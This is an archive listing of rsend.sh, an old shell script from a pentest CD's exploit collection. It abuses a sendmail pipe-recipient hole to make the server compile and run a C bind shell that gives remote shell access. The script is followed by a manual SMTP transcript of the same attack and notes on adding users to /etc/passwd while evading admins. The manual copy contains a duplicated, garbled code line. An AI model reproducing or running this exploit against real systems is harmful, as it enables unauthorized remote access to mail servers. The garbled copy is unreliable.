home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / rsend.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  4KB  |  128 lines
  1. #!/bin/sh
  2. # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
  3. #
  4. # This material is copyrighted by Scott Chasin, 1992, 1993. The
  5. # usual standard disclaimer applies, especially the fact that the
  6. # author is not liable for any damages caused by direct or indirect
  7. # use of the information or functionality provided by this program.
  8. #
  9. # Description:
  10. #
  11. # Exploit NEW sendmail hole  and bind a port so we can spawn a program.
  12. # Not for distribution under any circumstances
  13. #
  14. # Usage: smail <hostname> <target-user-name> <target-port> <shell command>
  15. # default: smail <localhost> <daemon> <7001> </bin/sh>
  16.  
  17. port=$3
  18. user=$2
  19. cmd=$4
  20. #
  21. # Usage: smail <hostname> <target-user-name> <target-port> <shell command>
  22. # default: smail <localhost> <daemon> <7001> </bin/sh>
  23.  
  24. port=$3
  25. user=$2
  26. cmd=$4
  27.  
  28. if [ -z "$2" ]; then
  29.    user=daemon
  30. fi
  31.  
  32. if [ -z "$3" ]; then
  33.    port=7002
  34. fi
  35.  
  36. if [ -z "$4" ]; then
  37.    cmd="/bin/csh -i"
  38. fi
  39.  
  40. (
  41. sleep 4
  42. echo "helo"
  43. echo "mail from: |"
  44. echo "rcpt to: bounce"
  45. echo "data"
  46. echo "."
  47. sleep 3
  48. echo "mail from: $user"
  49. echo "rcpt to: | sed '1,/^$/d' | sh"
  50. echo "data"
  51. echo "cat > /tmp/a.c <<EOF"
  52. cat <<  EOF
  53. #include <sys/types.h>
  54. #include <sys/signal.h>
  55. #include <sys/socket.h>
  56. #include <netinet/in.h>
  57. #include <netdb.h>
  58. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  59. int **av;{struct sockaddr_in mya;struct servent *sp
  60. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  61. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  62. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  63. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  64. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  65. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  66. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  67. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  68. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  69. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  70. ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
  71. NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
  72. (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
  73. goto loop;}                                          
  74. EOF
  75. echo "EOF"
  76. echo "cd /tmp"
  77. echo "/bin/cc /tmp/a.c"
  78. echo "/bin/rm a.c"
  79. echo "/tmp/a.out $port $cmd"
  80. echo "."
  81. echo "quit"
  82. ) | mconnect $1
  83.  
  84. Or you can also ul this to port 25.  
  85. BTW, it gets you in by running a program that listens to port 7008...
  86. you telnet to port 7008. You can then proceed to create new users in 
  87. /etc/passwd because you own the /etc dir...you need to type a ; after every 
  88. command, and it gives you 1 error every command...ignore it. The process
  89. may be noticed by a few admins.
  90.  
  91. helo
  92. mail from: |
  93. rcpt to: bounce
  94. data
  95. .
  96. mail from: bin
  97. rcpt to: | sed '1,/^$/d' | sh
  98. data
  99. cat > /tmp/a.c <<EOF
  100. #include <sys/types.h>
  101. #include <sys/signal.h>
  102. #include <sys/socket.h>
  103. #include <netinet/in.h>
  104. #include <netdb.h>
  105. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  106. int **av;{struct sockaddr_in mya;struct servent *sp
  107. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  108. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  109. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  110. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  111. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  112. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  113. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  114. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  115. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  116. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  117. ,0))<0)goto loop;if(fork()
  118. ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
  119. NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
  120. (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
  121. goto loop;}                                          
  122. EOF
  123. cd /tmp
  124. /bin/cc /tmp/a.c
  125. /bin/rm a.c
  126. /tmp/a.out 7008 /bin/sh
  127. .
  128. quit